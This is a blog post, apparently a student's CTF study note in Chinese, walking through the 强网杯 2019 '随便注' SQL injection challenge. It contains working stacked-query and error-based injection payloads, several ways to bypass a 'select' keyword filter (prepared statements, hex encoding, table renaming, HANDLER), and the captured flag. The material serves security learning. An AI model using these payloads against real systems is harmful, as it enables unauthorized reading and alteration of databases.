note-20

强网杯 2019 随便注

上次做这题还是两个月前,好像也是这题坚定了我打基础的原因,虽然现在看还是得看大佬们的wp
但以前是wp都看不明白
先是数字传参,
注入点

1
?inject=1'#

尝试

1
1'union select 1,2#

回显

return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);

尝试

1
1'or extractvalue(1,concat('!',database()))  # 

成功回显
error 1105 : XPATH syntax error: ‘!supersqli’

好像能用报错,但是select被过滤了呀🤡

尝试了
双写绕过
使用URL编码
<>绕过
无果

只能看wp了吗
https://zhuanlan.zhihu.com/p/545713669
原wp写的是真的好,详细透彻

使用堆叠注入,查看数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
1';show databases;#

回显:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(11) "ctftraining"
}

array(1) {
[0]=>
string(18) "information_schema"
}

array(1) {
[0]=>
string(5) "mysql"
}

array(1) {
[0]=>
string(18) "performance_schema"
}

array(1) {
[0]=>
string(9) "supersqli"
}

array(1) {
[0]=>
string(4) "test"
}

然后是查看表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1';show tables from supersqli;#

回显:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}

查看字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1';show colums from "1919810931114514";#

没法回显

改为

1';show columns from '1919810931114514';#

不行

1';show columns from `1919810931114514`;#

成功回显:

array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

注意,如果tableName是纯数字,需要用包裹,比如1';desc 1919810931114514`;#

原来是 ` 而不是 ‘ 🤡

到这步骤就有多种方法解题了

法一

通过预编译的方式拼接select 关键字:

1
1';prepare hack from concat('sele','ct','* from `1919810931114514`');execute hack;#

得flag{f2078443-bdad-4914-b367-e6691fd333c5}

法二

将select * from 1919810931114514语句进行16进制编码
73656c656374202a2066726f6d20603139313938313039333131313435313460

1
2
3
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
或者定义一个变量名
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#

看情况用把,我觉得能用预编译的话,那很多都能解决了

法三

最后一步(第8步)也可以通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果:

1
2
3
4
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# 
然后直接
1'; or ture
查看所有字段拿到flag

666,改不了查询语句就改表名,思路太开阔了,

这里要注意:
我在自己尝试的时候没有将换表名和改字段的操作一条语句完成,我是先改的words to words1,导致了源码sql查询语句的查words出错,后面将flag表改成words的操作无法传入,一切后续操作失效,这时sql语句查询的words,但是现在已经没有words这个表了,原sql语句就用不了了,永远报错,应该是相当于这个靶机废了;

法四:

此题还可以通过handle直接出答案:

1
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

notice


0x01 堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

0x02 预编译

预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤,

我理解是先写好sql语句命令,然后执行,类似编程语言里的定义函数或类?
预编译命令用法:

1
2
3
PREPARE 名称 FROM 	Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
方法一:
SElECT * FROM t_user WHERE USER_ID = 1

方法二:
PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1';
EXECUTE jia;

方法三:
PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?';
SET @ID = 1;
EXECUTE jia USING @ID;

方法四:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;

0x03 更改表名

修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

0x04 handle

MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]

# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]

# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]

# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

# 关闭已打开的句柄
HANDLER tbl_name CLOSE

参考wp里的语句

1
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

更详细用法
https://blog.csdn.net/qq_43427482/article/details/109898934


note-20
https://aidemofashi.github.io/2025/03/28/note-20/
作者
aidemofashi
发布于
2025年3月28日
许可协议